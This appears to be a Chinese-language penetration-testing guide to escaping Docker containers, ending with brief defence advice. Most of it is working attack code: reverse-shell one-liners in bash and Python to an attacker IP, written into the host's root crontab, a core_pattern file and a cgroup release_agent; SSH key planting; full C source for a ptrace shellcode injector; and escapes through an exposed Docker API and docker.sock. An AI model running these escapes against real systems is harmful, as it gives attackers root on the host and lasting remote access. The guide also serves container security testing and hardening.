Docker Escape Summary
字数 2240 2025-08-29 22:41:11
Docker 逃逸技术全面指南
一、Docker 环境判断
1. 检查 .dockerenv 文件
- 路径:
/.dockerenv - 存在此文件通常表明当前处于 Docker 容器中
2. 检查 /proc/1/cgroup
- 命令:
cat /proc/1/cgroup - 如果输出中包含明显的
docker标识,则表明处于 Docker 容器中
3. 检查环境变量
- 命令:
hostname - Docker 容器的主机名通常会带有容器相关的标识(如容器ID)
二、特权模式逃逸
1. 判断特权模式
- 命令:
cat /proc/self/status | grep CapEff - 特权模式特征:CapEff 掩码值为
0000003fffffffff或0000001fffffffff
2. 利用步骤
- 列出磁盘设备:
fdisk -l - 创建挂载目录:
mkdir /meteorkai - 挂载宿主机磁盘:
mount /dev/vda1 /meteorkai
3. 逃逸方法
方法一:定时任务反弹shell
- 写入定时任务:
echo 'SHELL=/bin/bash' > /meteorkai/var/spool/cron/crontabs/root echo '* * * * * /bin/bash -i >& /dev/tcp/攻击机IP/端口 0>&1' >> /meteorkai/var/spool/cron/crontabs/root - 设置权限:
chmod 600 /meteorkai/var/spool/cron/crontabs/root
注意事项:
- 不同Linux发行版定时任务路径不同:
/var/spool/cron:Debian、Ubuntu、CentOS、RedHat等/etc/crontabs:Alpine Linux等轻量级发行版
- Cron默认使用
/bin/sh(dash),不支持/dev/tcp,需指定SHELL=/bin/bash
方法二:Python反弹shell
echo '* * * * * /usr/bin/python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"攻击机IP\",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])"' >> /meteorkai/var/spool/cron/crontabs/root
方法三:写入SSH公钥
- 生成密钥对:
ssh-keygen -t rsa -b 4096 -f my_key -N "" - 写入公钥:
cat my_key.pub >> /meteorkai/root/.ssh/authorized_keys - 使用私钥连接:
ssh -i my_key root@宿主机IP
三、Docker API未授权逃逸
1. 判断漏洞
- 访问
http://目标IP:2375/version或http://目标IP:2375/info - 如果返回Docker信息则存在漏洞
2. 利用方法
docker -H tcp://目标IP:2375 run --rm --privileged -it -v /:/mnt busybox chroot /mnt sh
--privileged:获取真正的root权限-v /:/mnt:挂载宿主机根目录到容器/mnt目录chroot /mnt sh:切换根目录到宿主机文件系统
四、Docker Socket逃逸
1. 判断条件
- 检查
/var/run/docker.sock是否存在
2. 利用步骤
- 安装Docker客户端(如不存在)
- 创建新容器并挂载宿主机根目录:
docker run -it -v /:/mnt --privileged=true alpine - 通过挂载的目录进行权限维持(如写入定时任务或SSH公钥)
五、Procfs危险挂载逃逸
1. 判断条件
- 查找core_pattern文件:
find / -name core_pattern - 如果找到两个core_pattern文件,则可能挂载了宿主机的procfs
2. 利用步骤
- 确定容器在宿主机上的绝对路径:
- 查找
/var/lib/docker/overlay2/下的merged目录
- 查找
- 创建恶意脚本(如
.meteor.py)并赋权:echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' > /tmp/.meteor.py chmod 777 /tmp/.meteor.py - 修改core_pattern:
echo -e "|/var/lib/docker/overlay2/容器ID/merged/tmp/.meteor.py\rcore " > /挂载点/proc/sys/kernel/core_pattern - 触发崩溃执行恶意脚本
六、Cgroup配置错误逃逸(cgroup-v1)
1. 利用条件
- 以root用户运行
- 具有SYS_ADMIN权限
- 未配置AppArmor
- cgroup v1以读写方式挂载
2. 利用步骤
- 创建并挂载cgroup:
mkdir /tmp/meteorkai mount -t cgroup -o memory cgroup /tmp/meteorkai - 创建子目录并启用通知:
mkdir /tmp/meteorkai/conf echo 1 > /tmp/meteorkai/conf/notify_on_release - 获取宿主机路径:
host_path=`sed -n 's/.*\perdir=$[^,]*$.*/\1/p' /etc/mtab` - 设置release_agent:
echo "$host_path/cmd" > /tmp/meteorkai/release_agent - 创建恶意脚本:
echo '#!/bin/sh' > /cmd echo '/bin/bash -i >& /dev/tcp/攻击机IP/端口 0>&1' >> /cmd chmod 777 /cmd - 触发执行:
sh -c "echo \$\$ > /tmp/meteorkai/conf/cgroup.procs"
七、SYS_PTRACE进程注入逃逸
1. 利用条件
- 具有SYS_PTRACE权限:
capsh --print | grep cap_sys_ptrace - 与宿主机共享进程命名空间:
ps aux | grep dockerd能看到宿主机进程 - 以root权限运行
2. 利用步骤
- 生成shellcode:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=攻击机IP LPORT=端口 -f c - 编译注入程序(infect.c):
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include <sys/user.h> #include <sys/reg.h> // 替换为生成的shellcode const char *shellcode = "\x..."; int main(int argc, char **argv) { pid_t target; struct user_regs_struct regs; int syscall; long dst; if(argc != 2) { printf("Usage: %s <pid>\n", argv[0]); exit(1); } target = atoi(argv[1]); printf("+ Tracing process %d\n", target); if(ptrace(PTRACE_ATTACH, target, NULL, NULL) < 0) { perror("ptrace(ATTACH)"); exit(1); } printf("+ Waiting for process...\n"); wait(NULL); ptrace(PTRACE_GETREGS, target, NULL, ®s); unsigned char *src = (char *)®s.rip; memcpy(&dst, src, sizeof(long)); printf("+ RIP: 0x%lx\n", dst); printf("+ Injecting shellcode at 0x%lx\n", dst); int i; for(i = 0; i < strlen(shellcode); i++) { ptrace(PTRACE_POKETEXT, target, dst + i, *(long *)(shellcode + i)); } regs.rip += 2; ptrace(PTRACE_SETREGS, target, NULL, ®s); ptrace(PTRACE_DETACH, target, NULL, NULL); printf("+ Done!\n"); return 0; } - 查找目标进程(如/bin/bash)
- 执行注入:
./infect 目标PID
八、容器/内核漏洞利用
1. 使用CDK工具
- 上传CDK到容器
- 信息收集:
./cdk_linux_amd64 evaluate - 挂载宿主机磁盘:
./cdk_linux_amd64 run mount-disk - 通过挂载目录进行权限维持
2. 常见漏洞
- CVE-2019-5736(runc漏洞)
- CVE-2021-30465(容器逃逸漏洞)
- CVE-2022-0492(cgroups漏洞)
九、防御建议
- 避免使用
--privileged特权模式 - 限制容器能力:
--cap-drop=ALL --cap-add=必要的 - 使用只读文件系统:
--read-only - 配置AppArmor或SELinux
- 禁止挂载敏感目录(如/proc、/sys)
- 定期更新Docker和内核版本
- 保护Docker API和Socket(设置认证和权限)
- 监控容器异常行为
通过以上技术,渗透测试人员可以全面评估Docker环境的安全性,发现潜在的容器逃逸风险。在实际测试中,应根据目标环境选择最适合的逃逸方法。